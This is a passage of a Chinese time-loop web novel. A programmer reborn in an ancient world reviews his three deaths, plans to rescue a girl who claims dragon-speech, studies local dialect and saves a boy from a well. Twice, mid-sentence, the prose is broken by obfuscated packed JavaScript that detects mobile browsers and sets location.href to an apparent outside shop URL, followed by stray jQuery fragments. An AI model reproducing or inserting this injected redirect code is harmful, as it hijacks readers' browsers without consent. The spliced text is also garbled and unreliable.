"禁忌和秘密总是相伴而生。"林越推理着,"越是禁止的东西,往往越是重要。在这个世界,''龙''字是禁忌,但到处都是''龙''的痕迹。这说明什么?说明''龙''的力量是真实存在的,但被皇权垄断了。普通人不能接触,不能谈论,甚至不能提及。" "而龙语者后裔——那个少女,她自称能使用龙语,能跟龙神沟通,能解决河床干涸的问题。这直接触犯了皇权的垄断。所以县官要惩罚她,要晒死她。不是因为她是骗子,而是因为她真的可能拥有这种力量。" 林越想起第二次轮回中,在清水镇看到的那个被五花大绑押着走的少女。瘦瘦小小的,十四五岁的样子。当时他只觉得她可怜,但现在想来,她可能就是关键。 "狱卒令牌上的''龙''字,可能是某个同龙语者有关的人刻的。或者,那个狱卒自己就和龙语者有关联。包子铺老板的符号,可能是一种隐秘的记录方式,记录着和''龙''相关的信息。濒死时看到的''龙''字,可能不是幻觉,而是这个世界某种规则的显现——当我接近死亡时,能看到这个世界的真相。" "而这个真相,就是''龙语''。" 林越睁开眼睛,眼神变得锐利。他抬起手腕,看着那道缓慢增长的黑色线条。 "黑痕在增长,说明我有时间限制。我必须在这个时间内,解开''龙''的秘密,找到龙语者少女,弄清楚这一切的真相。" "而这一切,都指向同一个方向——清水镇,那个自称龙语者后裔的少女,那条干涸的河床,还有那个无处不在的''龙''字。" “傻子都知道有问题。”他苦笑,“而我,因为一次次死亡、痛苦和绝望,导致思维变得狭隘。我只想着怎么活过今天,怎么不被发现,怎么避免死亡。” “但这不是真正的通关方式。” 林越站起身,开始在沙地上踱步。炽热的阳光照在他身上,但他浑然不觉。 “既然会有黑色倒计时,那说明必须是在规定时间内完成任务。”他推理着,“这是穿越的常识。无限流小说里都是这么写的——完成任务,获得奖励,或者……回家。” “回家”两个字让他的心跳加速了。 他想起现实世界——那个他曾经厌倦的996生活,那个充斥着加班、KPI、房贷压力的世界。现在想来,那些烦恼多么微不足道。至少,那里有他的家人,有他的朋友,有他熟悉的一切。 “如果能回去……”林越的声音颤抖了,“如果能摆脱这一切……” 他不敢奢望,但忍不住奢望。他太累了,太害怕了。每一次死亡都是真实的痛苦,每一次重生都是短暂的喘息。这种循环,会把人逼疯。 “必须复盘。”他下定决心,“必须把前面所有的问题和线索都梳理清楚。” 林越决定像程序员一样进行一次彻底的复盘。他找了一块相对平整的沙地,用手指在沙子上画了一个表格,就像在写项目总结报告。 项目名称:异世界生存计划(第四次迭代) 项目状态:三次失败,第四次进行中 项目风险:高(生命危险) 项目经理:林越(兼执行人、测试员、背锅侠) 一、失败案例复盘 1.第一次死亡(黄壤屯) 错误类型:语言问题(口音暴露) 直接原因:说“多钱”被当成北狄细作 根本原因:对本地语言零了解,未做任何背景调查 教训:语言是基础,必须先学说话再说话 2.第二次死亡(清水镇) 错误类型:沟通策略问题(沉默被误读) 直接原因:装哑巴被当成不敬 根本原因:过度恐惧导致沟通策略极端化 教训:不说话也不行,关键是要说对的话 3.第三次死亡(清水镇) 错误类型:综合失误(偷窃+禁忌词) 直接原因:偷包子被抓,辩解时说错“龙”字 根本原因:饥饿导致判断失误,紧张导致发音错误 教训:生理需求要及时满足,禁忌词要彻底避免 二、关键发现 1.红痕机制:疑似生命次数标记,三道红痕对应三次死亡机会 2.黑痕机制:红痕耗尽后出现,缓慢增长,意义未知(可能是倒计时?) 3.“龙”字线索:反复出现(令牌、血痕、影子),与世界核心秘密相关 4.龙语者少女:自称能解决河床干涸,因自称龙语者后裔被晒死 5.禁忌体系:“龙”、“炎”、“皇”等字为皇室专属,庶民提及即死 三、SWOT分析 优势(Strengths) 拥有现代知识和逻辑思维能力 经历过三次死亡,心理承受能力增强 了解部分本地语言和礼仪 知道部分危险点和禁忌 劣势(Weaknesses) 语言能力仍然不足,发音不标准 没有合法身份,是“流民” 缺乏社会关系和资源 黑痕在增长,时间可能有限 机会(Opportunities) 可以系统学习语言和礼仪 可以寻找“龙”字线索,可能找到世界秘密 可以利用现代知识解决古代问题(如河床干涸) 可以建立社会关系,获取身份 威胁(Threats) 禁忌众多,一不小心就触犯 官员权力极大,可以随意判死刑 社会等级森严,底层生存困难 黑痕意义未知,可能时间有限 基本思路理清,现在就是要找到通关的关键抓手和基本逻辑。 他写下第一个关键词:“龙”。 “通关必跟‘龙’有关。”他自言自语,“这是最明显的线索。龙语者后裔的少女——她很大概率是关键人物。” 林越在沙地上写下“龙语少女”四个字,然后开始仔细梳理自己在前三次轮回中了解到的关于她的所有信息。 “第一次轮回,我根本不知道她的存在。”林越自言自语。 “第二次轮回,我在清水镇看到了她。”林越闭上眼睛,努力回忆那个画面, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119394|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “当时我躲在绸缎庄后巷,看见几个玄铁甲护卫押着一个五花大绑的少女走过。她脖子上挂着的玉坠,正是我之前换给富户的平安扣!” 林越在沙地上画了一个圈,代表玉坠。“那玉坠为什么会出现在她脖子上?是富户转卖给了别人,然后那个人又给了她?还是说,这玉坠被用来作为某种信物或报酬?” 他继续回忆:“当时我太紧张了,只想着别被牵连,没敢细看。但现在想来,那个少女瘦瘦小小的,十四五岁的样子,被绑着押走,肯定不是什么好事。” “第三次轮回,我在牢里听同监犯说起她。”林越在沙地上写下“牢中听闻”四个字,“那个中年汉子告诉我,县官判过一桩案子——有个小姑娘,自称‘龙语者后裔’,说能解决镇外那条干涸的河床问题。” 林越一字一句地复述着中年汉子的话:“她说自己祖上是侍奉龙神的,懂得龙语,能跟龙神沟通。她说那条河床干涸是因为龙神生气了,只要她念一段龙语咒文,就能让龙神息怒,河水就会重新流淌。” “然后呢?”林越仿佛在问自己,“然后就被抓了。县官说她是‘装神弄鬼’,是‘妖言惑众’。说她自称龙语者后裔,就是亵渎皇权——因为只有皇族才有资格侍奉龙神,庶民自称龙语者,就是僭越,是大罪。” 林越在沙地上写下“晒刑”两个字,笔触很重。“本来要判死刑的,但县官看她年纪小,又是女孩,就‘法外开恩’,改判了‘晒刑’——绑在镇口的木桩上,暴晒五天。如果五天不死,就放了她。” 他想起中年汉子的描述:“第一天就晒晕了三次,嘴唇都裂开了;第二天开始说胡话;第三天就是今天,就是刚刚我听狱卒说已经没动静了;也不知道能不能撑得过明天。” 林越感到一阵寒意。一个十四五岁的小姑娘,就因为自称龙语者后裔,想解决河床干涸的问题,就被活活晒死。这比斩首更残忍,更漫长,更痛苦。 “龙语者……”林越喃喃自语,“她说自己能使用龙语,能跟龙神沟通。如果这是真的,那她可能真的拥有某种超自然的力量。但县官不信,或者说,县官不能信——因为皇权垄断了‘龙’的解释权,任何民间自称能与龙沟通的人,都是对皇权的挑战。” 林越想起狱卒令牌上的“龙”字,想起石板血痕形成的“龙”字,想起刑场上影子组成的“龙”字。“这个世界到处都是‘龙’的痕迹,但‘龙’字又是禁忌。这说明什么?说明‘龙’的力量是真实存在的,但被皇权垄断了。普通人不能接触,不能谈论,甚至不能提及。” “而龙语者少女,她自称能使用龙语,能跟龙神沟通,能解决河床干涸的问题。这直接触犯了皇权的垄断。所以县官要惩罚她,要晒死她。不是因为她是骗子,而是因为她真的可能拥有这种力量。” 林越继续梳理:“包子铺老板账本上的符号,那些奇怪的、像大篆变体的符号,可能也是一种与‘龙’相关的记录方式。老板用这种符号记账,而不是普通的文字,说明他可能知道些什么,或者属于某个秘密团体。” “还有那个商人——中年汉子说,有个商人用富户卖的普通玉坠作为报酬,欺骗龙语少女使用龙语。这说明什么?说明有人知道龙语者的存在,并且试图利用她们的能力。那个商人可能是骗子,也可能是某个势力的代理人。” 林越在沙地上画了一个关系图:龙语少女——玉坠——商人——富户——林越自己。这条线连成了一个圈。 “我的玉坠,从现代带来,被富户买走,可能被商人得到,然后作为报酬给了龙语少女。而龙语少女因为接受了这个‘报酬’,所以愿意使用龙语。但结果是,她被晒死了。” “如果我能救她……”林越想着,“如果我能救下她,也许就能了解更多关于‘龙语’的秘密。也许她真的知道这个世界的真相,知道‘龙’的秘密,甚至知道……我为什么会穿越到这里。” “语言的系统性学习必须继续。”林越写下第二个要点,“但不止是语言。延伸出的礼法和习惯用法也要尤其注意。第三次轮回中,我就是因为礼法问题被定罪——‘直视长者’是不敬,‘擅自开口’是僭越。” 他想起那些复杂的礼节,那些微妙的眼神交流,那些看似随意实则蕴含深意的手势。这个世界,语言只是基础,礼法才是真正的通行证。 “流民身份是最大的障碍。”林越写下第三个要点,“必须想办法解决这个问题。没有身份,在这个世界寸步难行。第一次轮回死在狱中,就是因为流民身份。第二次轮回虽然活得更久,但最终还是因为身份问题被定罪。” “包子铺老板的账本符号可能也有问题。”他想起第二次轮回中看到的那些奇怪符号,“那些不是普通的记账符号。当时没时间细究,但现在想来,可能隐藏着什么信息。” “清水镇的干涸河床。”林越写下第五个要点,“镇子叫‘清水镇’,但河床是干的。这本身就很奇怪,是线索。” 他继续思考,把能想到的所有可疑点都列出来。 “光谨慎是不够的。”林越在沙地上重重划下一道,“需要将所有觉得可疑的部分都要进行探索。前三次轮回,我太保守了,只想着避开危险。但在这个世界,避开危险可能就意味着错过关键线索。” “要建立关系。”他写下最后一个要点,“最好是跟有权势的人的关系。第三次轮回中,如果我有靠山,可能就不会被轻易定罪。在这个世界,人际关系网可能比个人能力更重要。” 林越看着沙地上的字迹,长长地吐出一口气。 七个关键点,七个方向。 “这个任务的通关必然链接着一个结果。”他低声说,“可能是结束本次轮回,进入下一轮。可能是真正获得系统或什么资格。也可能……可能是可以回去现实世界,摆脱这一切。” 最后一种可能性让他心跳加速。 他太想回去了。不是因为他怀念996的生活,而是因为他怀念“正常”的生活——没有死亡威胁,没有轮回恐惧,没有黑色倒计时的生活。 “但首先,我得活下去。”林越握紧拳头,“而且,要活得明白。” 他抬头望向远方,黄壤屯和清水镇的方向。 这一次,他不会只是求生。 这一次,他要主动出击。 这一次,他要解开“龙”的秘密,找到通关的方法,然后……回家。 9. 重整旗鼓 复盘完毕,林越开始清点自己现有的东西。玉坠、关东煮、烤肠——还是老三样。他一件件拿出来又放回去,脑子里飞快盘算着。 玉坠温润的触感让他稍感安心——这大概是唯一能证明他来自另一个世界的东西。关东煮的纸杯已经有些发软,汤汁微微晃动;烤肠的塑料包装在阳光下反着光,显得格格不入。这些东西在现代不过是夜宵,在这里却成了他仅有的“初始物资”。林越苦笑,这开局比那些系统流主角寒酸多了,人家至少有个面板,他连个新手指导都没有,全靠自己摸索。 他将玉坠举到眼前,对着阳光仔细观察。岫玉材质,机器雕刻的平安扣,工艺粗糙,放在现代地摊上顶多卖三十块。但在这个世界,玉石本身就具有价值,何况是这样规整的圆形——或许能被当作某种护身符或信物。关键在于如何包装它的来历。 关东煮和烤肠必须在黄壤屯外吃掉。现代包装的食物出现在这个时代,被任何人看到都是天大的麻烦。身上的短袖T恤、牛仔裤和运动鞋也得处理掉,要么藏在破庙深处,要么想办法烧掉。得尽快弄一套当地的粗布麻衣,彻底融入环境。 火折子和食盐还是要想办法换。玉坠依旧是唯一的筹码,但还是要交易给富户,让其给商人带去清水镇,才能确保玉坠最终能流到龙语少女手中。只有这样,才能在她遇到困难时及时出现,建立起真正的联系。 林越在沙地上重新梳理时间线,手指在沙土上划出清晰的轨迹。 第一次轮回,第一天——我穿越到沙漠,抵达黄壤屯,夜宿破庙。 第二天——在黄壤屯观察学习语言,了解风俗,获悉集市规律:逢双日开张。 第三天(双日)——清晨前往集市,因发音错误被当作北狄奸细抓获,遭严刑拷打,最终死于乱葬岗。 他停顿了一下,在“第三天”下面画了一条横线。 第二次轮回,重生后第四天前往清水镇,打零工时目睹龙语少女被押送。 “这说明……”林越的手指在“第四天”三个字上点了点,“她在这一天之前就已经被抓了。但具体是哪一天?” 他闭上眼睛,努力回忆第二次轮回中的细节。当时他刚到清水镇,在酒肆后巷劈柴,听见外面有动静,就躲在门后偷看。几个玄铁甲护卫押着一个五花大绑的少女走过,那少女脖子上挂着的,正是他的平安扣玉坠。 “押送……说明她已经被审判过了。审判需要时间,抓捕需要时间,调查也需要时间。”林越在沙地上写下推算过程,“假设她是在清水镇被抓的,那么从被抓到审判,再到押送去行刑,至少需要1-2天?” 他重新整理思路,以本次轮回(第四次轮回)为基准,将时间线对齐。 “本次轮回,我重生在黄壤屯外沙漠,这是第一次轮回的第一天。那么,第二次轮回的第三天我放弃了去集市,转而出发去清水镇,抵达后找了酒肆砍柴,第二天看到少女被压送,第三次轮回是从清水镇外面开始,也就是第一次轮回的第三天傍晚,在牢中知道少女的事情,我被关是少女晒刑第三天,现在第四次轮回重新回到了第一次轮回的第一天,所以对应的是……”他在沙地上画了一个时间轴: 第一次轮回:第1天(穿越)→第2天→第3天(死亡) (第二次轮回变为出发去清水镇) 第二次轮回:第4天(少女被押送执行晒刑,自己被抓)→第5天(死亡)(第三次轮回时被抓) 第三次轮回:第6天(在牢中交谈,少女晒刑第三天,没动静了)→第7天(死亡) “那么,龙语少女在我刚到清水镇的第一天就被押送,说明她至少在……”林越的手指在时间轴上移动,“之前就已经被抓了。也就是说,在第一次轮回的第三天或更早。” 他深吸一口气,意识到问题的紧迫性。 “按照之前牢中中年汉子的说法,‘晒刑’到了第三天就很危急了,所以龙语少女必须在‘晒刑’的第三天或之前获救——也就是在第6天结束前。 ” 【而今天,是第1天。】 林越在沙地上写下清晰的结论: 【倒计时:6天。】 必须在第六天结束前,赶到清水镇,找到龙语少女,并设法救她出来。 他盯着那个“6”字,感觉手腕上的黑痕似乎又增长了一点点。 想到这里,林越的动作忽然顿住了。 不对。 他慢慢坐下来,背靠沙丘,手指无意识地摩挲着腕间的黑痕。不是行动计划有问题,是他自己有问题。 从什么时候开始的?从第一次死亡开始?不,更早。从穿越那一瞬间——加班后拖着疲惫身体走出便利店,拎着关东煮和烤肠,下一秒就站在了这片沙漠里。那种被突兀拐卖到异世界的感觉,那种从熟悉日常被生生撕扯出来的断裂感,从一开始就种下了不安的种子,即便用一次次的吐槽和苦中作乐都无法掩盖。 然后是三次轮回。 第一次,狱中酷刑,断骨之痛。第二次,杖毙,皮开肉绽。第三次,斩首,刀锋落下那一瞬间的冰凉触感。每一次死亡都真实得刻骨铭心,每一次重生带来的不是希望,而是更深层的疲惫和……恐惧。 他在怕什么?不是怕死——反正能重生。是怕这种无休止的重复,怕这种永远在生死线上挣扎的状态,怕那种不管怎么努力都可能因为一个口误、一个眼神、一个无心之举就前功尽弃的荒诞感。 情绪不对,他清晰地意识到,状态越来越差。 这不是战斗疲劳症,这是存在危机。连续经历死亡和重生后,人的情绪会被磨损,判断力会下降,冲动会取代理性。第二次轮回里,他还能在绝望中冷静分析,第三次就开始冲动行事了。现在呢?复盘计划时,脑海里总有个声音在说:“反正会死,反正会重来。” 这声音很轻,但很致命。 林越想起以前看过的一些心理学文章——关于创伤后应激障碍,关于情绪调节。他不是心理医生,但现代人多少接触过这些概念。认知行为疗法:改变想法就能改变情绪。他需要给自己的经历重新“编码”。 “我不是被动承受的受害者,”他低声自语,“我是主动探索的冒险者。每一次死亡不是失败,是数据收集。每一次重生不是惩罚,是迭代机会。” 这个角度让他感觉好多了。程序员思维再次发挥作用——把生死轮回看作一个bug频出的系统,而他是那个负责debug的程序员。虽然这个系统有点过于硬核,动不动就删档重来。 林越闭上眼,深深吸气。沙漠的热风灌进肺里,带着沙土的颗粒感。他需要调整,不是战术调整,是心理调整。否则就算计划再完美,执行的时候也会出岔子。 怎么调整? 他睁开眼睛,看向远处的地平线。黄壤屯的轮廓在热浪中微微扭曲。劫后余生的喜悦——这是最现成的情绪资源。死里逃生的人会笑,会庆幸,会感受到活着的强烈实感。那就从这里开始。 他站起来,拍了拍身上的沙尘。脸上慢慢露出一个笑容——不是苦笑,不是自嘲,是真正的、发自内心的笑。阳光刺眼,但他迎着光抬起头。 “选择。”他对自己说,“选择沉浸在这种喜悦里。把死亡的记忆压下去,把疲惫藏起来,让劫后余生的感觉占据主导。这不是逃避,是战术。情绪管理也是生存的一部分。” 这个决定做出来后,心里某个紧绷的地方忽然松动了。他选择沉浸在劫后余生的喜悦中。 他脱掉上衣,赤膊站在烈日下,让阳光灼烤着皮肤。汗水顺着脊背滑落,带来一种奇异的畅快感。他深吸一口气,然后缓缓呼出,仿佛要将体内所有的恐惧和压抑都呼出去。 “这次……不能再犯错了。”他对自己说,“红痕用完了,没有重来的机会了。这次,必须一次成功。” 他重新穿上衣服,拍了拍身上的沙尘。脸上的笑容依然灿烂,但眼神中多了一份坚定。他迈开脚步,朝着黄壤屯的方向走去。步伐轻快而坚定,与之前那种小心翼翼、如履薄冰的步伐完全不同。 阳光照在他的背上,投下长长的影子。那影子在沙地上跳跃着,仿佛也在为他的重生而欢欣鼓舞。 【这次,不论是什么挑战,我都会赢。】 黄壤屯外三里地,有一座废弃的土地庙。 庙很小,统共两间房,正殿的泥塑神像半边身子都塌了,露出里面的稻草和木架。屋顶的瓦片缺了大半,抬头就能看见星空。但胜在偏僻,离官道远,平时没什么人来。林越在庙后头的荒草丛里发现了一口枯井,井沿的青石板上还刻着些模糊的字迹,勉强能辨认出“风调雨顺”四个字。 他把破庙简单收拾了一下。正殿漏雨太厉害,就选了侧边那间勉强还有屋顶的厢房。墙角堆着些干稻草、火石碎屑和一个破碗,大概是之前流民留下的。他把稻草铺开,又去外面捡了些干树枝,在墙角生了一小堆火。火光映亮了斑驳的墙壁,上面还有些不知哪个年月留下的涂鸦——歪歪扭扭的人形,像是孩童的随手画。 收拾的时候,林越发现墙角有几块松动的砖石。他小心撬开,发现里面是个不大的空洞,应该是当初建庙时留下的。这个发现让他心中一喜——正好可以用来藏匿那些绝对不能见光的现代物品。他把短袖T恤、牛仔裤、运动鞋用破布仔细包好,塞进空洞深处,又将砖石原样垒回去,还在表面撒了些尘土做旧。 做完这些,他才稍微松了口气。现代衣物是他与原来世界最后的物理联系,但在这个世界,它们和定时炸弹没什么区别。烧掉是最保险的,但他暂时还下不了手——就像很多人明明知道旧手机该扔了,却还是留在抽屉里一样。 当晚,他就着火光吃掉了最后一根烤肠。现代包装的塑料膜在火光下泛着不合时宜的光泽,他盯着看了片刻,然后用力撕开叠好,又把关东煮倒在破碗里吃喝掉。他吃得很慢,每一口都嚼得很仔细,仿佛在进行某种仪式。 黎明前的黑暗最是深沉,林越躺在破庙的干草堆上,睁眼看着屋顶的破洞。星星已经隐去,天空泛出鱼肚白。他没有睡,脑子里一遍遍过着计划。 第一天,要做的有三件事:一,系统性地修正语言认知;二,获取食水;三,打听消息。 他翻身坐起,从怀里掏出那本“笔记本”——其实就是几块从破庙墙上撕下来的黄纸,用烧焦的木炭当笔。上面密密麻麻记着前三次轮回中接触到的词汇、发音、语法错误点。 “发音是最大的坑。”他低声自语,手指点在第一行,“‘多钱’是北狄口音,要说‘价几何’。” “‘饿’字千万不能说成‘龙’。” “声调……”他皱起眉,这比词汇更棘手。大炎官话有六七个声调,现代普通话只有四个,很多字在他听来差异极小,但对本地人而言可能天差地别。第三次轮回中,他就因为一个声调错误被当众指正,虽然没引发大麻烦,但也暴露了“口音不正”的问题。 天亮了。 林越换上再次偷来的粗布麻衣——洗了好几遍,但还有股淡淡的霉味。他把现代衣物——短袖T恤、牛仔裤、运动鞋——用破布包好,塞进土地庙神像背后的空洞里。关东煮和烤肠的纸杯和塑料包装袋则被他塞进墙缝深处。 这些东西,等时机成熟再处理掉。 他走出破庙,迎着晨光朝黄壤屯走去。 黄壤屯比清水镇小得多,更像一个大一点的村落。土坯房子沿着一条主街排列,街面是夯实的黄土,车辙印深深浅浅。早起的人已经忙碌起来,妇人提着木桶去井边打水,汉子扛着农具往田里去,几个孩童在街角追逐嬉戏。 林越没有贸然开口。 他在街边找了个不起眼的角落蹲下,装成等待活计的流民模样,耳朵却竖得老高,捕捉着每一句对话。 “张嫂,今儿个井水还浑么?” “浑着呢,昨儿夜里下过雨,得澄澄才能用。” “李二哥,你家那亩麦子该浇了吧?” “浇了浇了,王千户家的水渠先给用,咱得排队。” 林越在黄纸上飞快记录:井水、澄、亩、浇、水渠、排队。这些日常对话透露的信息远比表面多。从“王千户家的水渠先给用”可以推断:第一,王千户在当地拥有特权,连灌溉用水都有优先权;第二,这种特权被普通百姓接受为常态,说明等级森严;第三,“排队”意味着资源分配有明确规则,这可能成为他日后可以利用的点。 林越在“王千户”旁边标注了“军事权威、水资源控制”,在“排队”后面写了“潜在冲突点”。现代项目管理经验告诉他,任何系统都有瓶颈和矛盾,找到它们就等于找到了杠杆。 他发现黄壤屯的口音确实比清水镇更粗犷,语速更快,很多词的尾音会吞掉。比如“浇水”说快了就成“浇儿”,“排队”说成“排儿”。还有不少俚语,他得结合场景才能猜出意思。 “嘿,那愣子又在那儿发呆。” “甭理他,许是北边逃来的,脑子不好使。” 林越心里一动,面上却不动声色。他知道“愣子”是傻子、呆子的意思,“甭”是不用的合音,“许是”大概是。这些词汇在前几次轮回中都接触过,但这次他要系统记录。 一上午过去,他记了满满两页纸。 中午时分,肚子咕咕叫起来。林越收起纸笔,开始寻找打零工的机会。他走到屯子西头一家磨坊前,看见老板正费力地往磨盘上倒麦子。 “掌柜的,可需帮手?”他开口,声音刻意压低,带着点沙哑——装成长途跋涉后疲惫的样子。 老板抬头打量他:“哪儿来的?” “北边逃来的。”林越按照想好的说辞,“家里遭了抢,想来讨口饭吃。” “会推磨么?” “会。” “推一天,管两顿稀的,外加三个铜板。”老板指着旁边的石磨,“从午时推到申时,中间歇一刻钟。” “成。” 林越挽起袖子,开始推磨。石磨很沉,推起来费劲,但他需要这份工作——不仅为了食水,更为了接触本地人。石磨的碾盘是厚重的青石,推起来需要全身发力。林越调整呼吸,用腰腿的力量带动手臂,避免单纯依靠上肢——这是他在健身房学到的技巧,虽然那里的器械和这原始的石磨天差地别。每推一圈,麦粒在磨盘间发出细微的碎裂声,面粉从缝隙中簌簌落下。单调的重复动作让思维可以自由发散,他的耳朵像雷达一样捕捉着磨坊里的每一句对话。 磨坊里陆续有人来磨面,多是妇人。她们一边等一边闲聊,话题从家长里短到屯里新鲜事。 “听说了没?王千户昨儿个又去刘员外家吃酒了。” “可不,刘员外家的小子不是刚中了童生么,千户大人去道贺。” “啧啧,刘员外这面子够大的。” “那可不,人家家里有矿……不是,有盐引子,跟千户大人那是老交情了。” 林越手上不停,耳朵却捕捉着关键信息:王千户(驻兵千户)、刘员外(富户)、童生( ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17119395|195946||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 科举第一级)、盐引子(盐业专卖凭证)。更重要的是,他确认了千户和富户确实往来密切。 下午,一个老妇人来磨豆子,看见林越推磨的架势,随口问:“小伙子,哪儿的人啊?口音听着有点怪。” 林越心里一紧,但面上平静:“北边来的,逃来的路上走了三个月,口音怕是杂了。” “北边啊……”老妇人点头,“那是远,口音跟咱这儿是不一样。不过你这话说得还算清楚,比前阵子那几个北狄细作强多了。” “北狄细作?” “可不,上个月抓了好几个,都说自己是逃来的,结果一查,是北狄派来的探子。”老妇人压低声音,“王千户亲自审的,听说用了大刑,最后都砍了。” 林越背后冒出冷汗。他想起第一次轮回,自己就是因为“多钱”这个北狄口音被当成细作。现在看来,黄壤屯对北狄人的警惕性极高。 “多谢大娘提醒。”他诚恳地说,“小人才到此地,许多规矩不懂,还请大娘多指点。” 老妇人见他态度恭敬,话也多了起来:“看你是个老实人,大娘就多说两句。在咱黄壤屯,第一,别乱打听驻军的事;第二,见了穿官服的得低头行礼;第三,说话注意着点,有些词不能乱说。” “哪些词?”林越顺势问。 “比如尊贵的那个字”老妇人用手比划了龙字,“那是皇家的,咱平民百姓不能说。还有‘王’字,在千户大人面前得避讳,要说‘大人’或者‘千户大人’。再有就是北狄那边的话,一个字都不能沾。” 林越连连点头,把这些都记在心里。 傍晚,磨坊老板给了他三个铜板和两个杂粮饼子。饼子又干又硬,但能填饱肚子。林越就着井水啃完一个,把另一个小心包好,塞进怀里。 他没有立刻回破庙,而是在屯子里转悠,观察地形,记下重要地标:千户所(屯子北头,有士兵把守)、刘员外家(屯子中心,青砖瓦房,门口有石狮子)、水井(三处,分别在东、西、南街)、集市空地(逢双日开市)。 观察这些地标时,林越采用了系统的方法。他在黄纸上画了简单的屯子地图,标注每个地点的相对位置和特征。刘员外家的青砖瓦房在土坯房中格外显眼,说明其财富和地位;门口的石狮子虽小,但雕刻精细,是身份的象征。千户所则更注重实用——围墙高大,门口有岗哨,士兵的装备看起来保养得不错,说明王千户治军严谨。 三口水井的位置分布也很有意思:东街井靠近刘员外家,西街井靠近磨坊,南街井靠近普通民居。水资源分配往往是社会结构的缩影,这一点在古代尤其明显。 回到破庙时,天已经黑了。 林越生起火,借着火光整理今天的收获。黄纸上记满了词汇、发音、俚语、礼仪禁忌,还有人物关系图。 他在“王千户”和“刘员外”之间画了条双线,标注“密切往来”。又在“刘员外”旁边写了“盐引子”、“童生儿子”、“青砖瓦房”。 玉坠要换给刘员外,但不能像上次那样简单交易。他盘算着,必须借机搭上关系,最好能见到王千户。 手腕上的黑痕隐隐发痒。林越低头看去,那道痕迹似乎比昨天长了一点点——很细微,但他能感觉到。 倒计时开始了。 他深吸一口气,把杂念压下,开始复习今天的语言记录。每个词的发音,每个句子的语调,每个礼仪细节,都在心里过了好几遍。 这一夜,他梦见了清水镇,梦见龙语少女被绑在木架上,烈日灼烤着她的皮肤。她脖子上挂着的,正是他的平安扣玉坠。 第二天清晨,林越早早醒来。 他用井水洗了把脸,把粗布衣服整理整齐,又把那枚平安扣玉坠拿出来,对着晨光仔细端详。玉是普通的岫玉,机器雕刻的纹路整齐但呆板,在现代也就是几十块钱的饰品。但在这个世界,它或许能换来更多。 今天的目标:去刘员外家用玉坠换取物资,试探接触,争取搭上王千户的关系。 他把玉坠贴身放好,怀里揣着昨天剩的杂粮饼,走出了破庙。 黄壤屯的早晨比昨天更热闹些。今天逢单,不是集日,但街上的人也不少。林越特意绕道从刘员外家门前经过,看见大门紧闭,门口的家丁正在清扫台阶。 他没有贸然上前,而是继续往前走,打算先观察一下周围环境。 屯子东头有一片小树林,林边有几口灌溉用的水井。几个孩童正在井边玩耍,大约是七八岁的年纪,你追我赶,笑声清脆。 林越看了一眼,没太在意,继续往前走。 他需要想好说辞。直接说“我想用玉坠换东西”太生硬,最好能有个由头。比如……假装是祖传之物,因逃跑不得已变卖?或者说是捡到的,想找失主? 正思考间,身后突然传来一声尖叫。 “救命啊!小少爷掉井里了!” 林越猛地回头。 只见刚才那几个孩童围在一口井边,慌作一团。一个家仆模样的中年人正趴在井口,焦急地朝下张望,一边大喊:“快来人啊!小少爷掉下去了!” 林越想都没想,拔腿就朝井边冲去。 井口不大,直径约三尺,井壁上长满青苔。林越趴在井沿往下看,只见一个约莫五六岁的男孩正在水里扑腾,水不算深,但孩子显然不会游泳,呛了好几口水。 “让开!”林越对那家仆说,同时快速脱掉外衣。 “尔、你会尔么?”家仆慌得话都说不利索。 “会一点!”林越其实是旱鸭子,但现代都市人多少学过点急救知识,且水不深,即便算上光线误导问题,应该也没不到脖子。他观察井壁,发现有几处凸起的石头可以落脚。 不能直接跳,井口太小,容易撞到。他冷静分析,得爬下去。 林越抓住井沿,小心翼翼地把脚探下去,踩在第一块凸起的石头上。石头很滑,他差点失足,赶紧稳住身体,继续往下。 井很深,大约三丈。越往下光线越暗,井水冰凉的气息扑面而来。男孩的扑腾声越来越微弱。 林越心急如焚,但动作不敢太快——万一自己也掉下去,摔着磕着了,两个人都得完蛋。 终于,他的脚触到了水面。 “孩子,别怕!”他朝男孩喊,“抓住我的手!” 男孩已经呛得神志不清,双手胡乱挥舞。林越看准时机,一把抓住男孩的衣领,另一只手紧紧扒住井壁的石头。 上去比下来更难。 他深吸一口气,开始往上爬。一手抓着男孩,一手扒着井壁,全靠脚上的力气支撑。井壁湿滑,每爬一步都极其艰难。男孩虽然不重,但在这种情况下,任何额外的重量都是巨大的负担。 爬到一半,林越的手开始发抖,脚底的石头突然松动。 “啊!”他脚下一滑,整个人往下坠了半尺,幸好另一只脚及时踩住另一块石头。 井口传来家仆的喊声:“坚持住!我去找绳子!” 等绳子来就晚了。林越咬牙,继续往上爬。 汗水混着井水流进眼睛,火辣辣地疼。他的手臂肌肉在尖叫,后背不存在的伤口(前几次轮回留下的心理记忆)仿佛也在隐隐作痛。 一步,两步,三步…… 终于,他看到了井口的光。 几双手伸下来,抓住了他的胳膊,把他和男孩一起拉了上去。 林越瘫倒在井边,大口喘气。男孩躺在一旁,脸色青紫,已经没了动静。 10. 好人好报 “小少爷!小少爷!”家仆扑上去,摇着男孩的身体,声音带着哭腔。 林越挣扎着爬起来:“别摇!让他平躺!” 